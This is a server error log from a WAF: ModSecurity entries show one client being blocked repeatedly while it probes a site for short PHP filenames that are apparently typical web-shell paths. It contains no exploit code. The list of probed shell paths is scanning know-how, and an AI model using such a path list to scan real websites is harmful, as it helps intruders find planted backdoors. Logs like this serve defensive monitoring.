[Sat May 16 02:28:16.592187 2026] [:error] [pid 59517:tid 59527] [client 4.228.104.117:1493] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdlwMWGuSBVizA7n2P4HQAAA4A"]
[Sat May 16 02:28:17.793564 2026] [:error] [pid 59517:tid 59543] [client 4.228.104.117:4715] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdlwcWGuSBVizA7n2P4HgAAA5A"]
[Sat May 16 02:28:18.448623 2026] [:error] [pid 59311:tid 59339] [client 4.228.104.117:4148] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdlwrGBV7OkryAk5AObAQAAApg"]
[Sat May 16 02:28:19.106226 2026] [:error] [pid 59311:tid 59334] [client 4.228.104.117:1463] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdlw7GBV7OkryAk5AObAwAAApM"]
[Sat May 16 02:28:19.753980 2026] [:error] [pid 9307:tid 9375] [client 4.228.104.117:1517] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdlwyC43jY1IRzK5VZ0igAAAMo"]
[Sat May 16 02:28:20.447218 2026] [:error] [pid 30272:tid 30294] [client 4.228.104.117:3660] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdlxHvc_jSFaQ_7_wcyVwAAAZQ"]
[Sat May 16 02:28:21.116935 2026] [:error] [pid 59453:tid 59461] [client 4.228.104.117:3888] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/options.php"] [unique_id "agdlxXnXIIDivY9RkF0rowAAA0I"]
[Sat May 16 02:28:21.801404 2026] [:error] [pid 9305:tid 9349] [client 4.228.104.117:3699] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdlxd5FZyBmdCM8GsGl6AAAAEs"]
[Sat May 16 02:28:22.606569 2026] [:error] [pid 59453:tid 59464] [client 4.228.104.117:4621] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdlxnnXIIDivY9RkF0rpAAAA0U"]
[Sat May 16 02:28:23.342513 2026] [:error] [pid 59522:tid 59566] [client 4.228.104.117:4115] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdlx4KyKAkpeBAoLCZaIAAAA8s"]
[Sat May 16 02:28:24.025998 2026] [:error] [pid 59522:tid 59556] [client 4.228.104.117:3902] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/min.php"] [unique_id "agdlyIKyKAkpeBAoLCZaIgAAA8E"]
[Sat May 16 02:28:24.926287 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:4690] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdlyIKyKAkpeBAoLCZaJAAAA9E"]
[Sat May 16 02:28:25.651822 2026] [:error] [pid 9305:tid 9361] [client 4.228.104.117:4718] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdlyd5FZyBmdCM8GsGl6gAAAFc"]
[Sat May 16 02:28:26.300300 2026] [:error] [pid 9305:tid 9362] [client 4.228.104.117:3880] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdlyt5FZyBmdCM8GsGl6wAAAFg"]
[Sat May 16 02:28:27.084684 2026] [:error] [pid 9305:tid 9353] [client 4.228.104.117:4656] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "agdly95FZyBmdCM8GsGl7AAAAE8"]
[Sat May 16 02:28:27.828349 2026] [:error] [pid 9392:tid 9401] [client 4.228.104.117:1457] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdly9BWJIjH1U9zGfYICAAAAQc"]
[Sat May 16 02:28:28.487915 2026] [:error] [pid 9392:tid 9400] [client 4.228.104.117:4709] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdlzNBWJIjH1U9zGfYICwAAAQY"]
[Sat May 16 02:28:29.122675 2026] [:error] [pid 30208:tid 30233] [client 4.228.104.117:4626] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdlzZmLMCJujX-JTvhWkAAAAJc"]
[Sat May 16 02:28:29.832635 2026] [:error] [pid 30208:tid 30227] [client 4.228.104.117:4702] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "agdlzZmLMCJujX-JTvhWkQAAAJE"]
[Sat May 16 02:28:30.707293 2026] [:error] [pid 30272:tid 30297] [client 4.228.104.117:4648] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdlznvc_jSFaQ_7_wcyWQAAAZc"]
[Sat May 16 02:28:31.391450 2026] [:error] [pid 59522:tid 59567] [client 4.228.104.117:1492] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdlz4KyKAkpeBAoLCZaJwAAA8w"]
[Sat May 16 02:28:32.341733 2026] [:error] [pid 30208:tid 30229] [client 4.228.104.117:1479] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdl0JmLMCJujX-JTvhWkgAAAJM"]
[Sat May 16 02:28:33.336903 2026] [:error] [pid 9305:tid 9347] [client 4.228.104.117:4192] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ggb.php"] [unique_id "agdl0d5FZyBmdCM8GsGl7gAAAEk"]
[Sat May 16 02:28:34.267960 2026] [:error] [pid 59522:tid 59575] [client 4.228.104.117:4194] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdl0oKyKAkpeBAoLCZaKAAAA9Q"]
[Sat May 16 02:28:35.300536 2026] [:error] [pid 59522:tid 59576] [client 4.228.104.117:3667] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdl04KyKAkpeBAoLCZaKwAAA9U"]
[Sat May 16 02:28:36.803306 2026] [:error] [pid 59522:tid 59563] [client 4.228.104.117:4706] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdl1IKyKAkpeBAoLCZaLwAAA8g"]
[Sat May 16 02:28:37.944967 2026] [:error] [pid 59522:tid 59570] [client 4.228.104.117:1519] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xxa.php"] [unique_id "agdl1YKyKAkpeBAoLCZaMQAAA88"]
[Sat May 16 02:28:38.901766 2026] [:error] [pid 59522:tid 59572] [client 4.228.104.117:3857] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdl1oKyKAkpeBAoLCZaMwAAA9E"]
[Sat May 16 02:28:39.941606 2026] [:error] [pid 59517:tid 59544] [client 4.228.104.117:1466] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdl18WGuSBVizA7n2P4JQAAA5E"]
[Sat May 16 02:28:41.276718 2026] [:error] [pid 59522:tid 59579] [client 4.228.104.117:3670] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdl2YKyKAkpeBAoLCZaNgAAA9g"]
[Sat May 16 02:28:42.579356 2026] [:error] [pid 59522:tid 59561] [client 4.228.104.117:4159] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aj11.php"] [unique_id "agdl2oKyKAkpeBAoLCZaOgAAA8Y"]
[Sat May 16 02:28:43.224740 2026] [:error] [pid 30272:tid 30285] [client 4.228.104.117:4201] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdl23vc_jSFaQ_7_wcyWwAAAYs"]
[Sat May 16 02:28:44.029931 2026] [:error] [pid 30208:tid 30213] [client 4.228.104.117:3903] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdl3JmLMCJujX-JTvhWlAAAAIM"]
[Sat May 16 02:28:44.862898 2026] [:error] [pid 30208:tid 30217] [client 4.228.104.117:4107] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdl3JmLMCJujX-JTvhWlQAAAIc"]
[Sat May 16 02:28:46.139553 2026] [:error] [pid 30208:tid 30219] [client 4.228.104.117:1526] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fs.php"] [unique_id "agdl3pmLMCJujX-JTvhWlgAAAIk"]
[Sat May 16 02:28:46.834154 2026] [:error] [pid 9392:tid 9406] [client 4.228.104.117:4680] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdl3tBWJIjH1U9zGfYIFgAAAQw"]
[Sat May 16 02:28:47.484588 2026] [:error] [pid 59517:tid 59536] [client 4.228.104.117:4720] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdl38WGuSBVizA7n2P4JwAAA4k"]
[Sat May 16 02:28:48.155480 2026] [:error] [pid 59453:tid 59479] [client 4.228.104.117:1239] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdl4HnXIIDivY9RkF0rqgAAA1A"]
[Sat May 16 02:28:48.827367 2026] [:error] [pid 30272:tid 30275] [client 4.228.104.117:3692] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "agdl4Hvc_jSFaQ_7_wcyYAAAAYE"]
[Sat May 16 02:28:49.531338 2026] [:error] [pid 59453:tid 59462] [client 4.228.104.117:5242] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agdl4XnXIIDivY9RkF0rrAAAA0M"]
[Sat May 16 02:28:50.397783 2026] [:error] [pid 59517:tid 59533] [client 4.228.104.117:1501] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agdl4sWGuSBVizA7n2P4KQAAA4Y"]
[Sat May 16 02:28:51.040016 2026] [:error] [pid 30272:tid 30286] [client 4.228.104.117:1524] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agdl43vc_jSFaQ_7_wcyYwAAAYw"]
[Sat May 16 02:28:51.748125 2026] [:error] [pid 30272:tid 30282] [client 4.228.104.117:5199] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/man.php"] [unique_id "agdl43vc_jSFaQ_7_wcyZQAAAYg"]
[Sat May 16 02:28:52.432311 2026] [:error] [pid 59453:tid 59484] [client 4.228.104.117:4251] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agdl5HnXIIDivY9RkF0rsAAAA1U"]
[Sat May 16 02:28:53.321811 2026] [:error] [pid 30208:tid 30218] [client 4.228.104.117:1498] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agdl5ZmLMCJujX-JTvhWmAAAAIg"]
[Sat May 16 02:28:54.236479 2026] [:error] [pid 59453:tid 59463] [client 4.228.104.117:4204] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agdl5nnXIIDivY9RkF0ruQAAA0Q"]
[Sat May 16 02:28:55.162903 2026] [:error] [pid 9305:tid 9354] [client 4.228.104.117:4646] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "agdl595FZyBmdCM8GsGl7wAAAFA"]
[Sat May 16 02:28:55.838667 2026] [:error] [pid 59453:tid 59465] [client 4.228.104.117:5176] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agdl53nXIIDivY9RkF0rwgAAA0Y"]
[Sat May 16 02:28:56.700418 2026] [:error] [pid 59202:tid 59211] [client 4.228.104.117:3898] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agdl6EORbjeqf1CKQ2KERwAAAgQ"]
[Sat May 16 02:28:57.506508 2026] [:error] [pid 30208:tid 30222] [client 4.228.104.117:5139] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agdl6ZmLMCJujX-JTvhWmgAAAIw"]
[Sat May 16 02:28:58.166914 2026] [:error] [pid 9392:tid 9396] [client 4.228.104.117:4111] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "agdl6tBWJIjH1U9zGfYIGgAAAQI"]
[Sat May 16 02:28:59.246378 2026] [:error] [pid 9307:tid 9381] [client 4.228.104.117:5235] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agdl6yC43jY1IRzK5VZ0mQAAANA"]
[Sat May 16 02:28:59.921610 2026] [:error] [pid 59202:tid 59234] [client 4.228.104.117:4823] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agdl60ORbjeqf1CKQ2KESgAAAhY"]
[Sat May 16 02:29:00.613656 2026] [:error] [pid 59453:tid 59478] [client 4.228.104.117:5155] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agdl7HnXIIDivY9RkF0rwwAAA08"]
[Sat May 16 02:29:01.436472 2026] [:error] [pid 59453:tid 59480] [client 4.228.104.117:4616] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "agdl7XnXIIDivY9RkF0rxAAAA1E"]
[Sat May 16 02:29:03.531990 2026] [:error] [pid 59517:tid 59529] [client 4.228.104.117:3672] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alpha.php"] [unique_id "agdl78WGuSBVizA7n2P4LQAAA4I"]
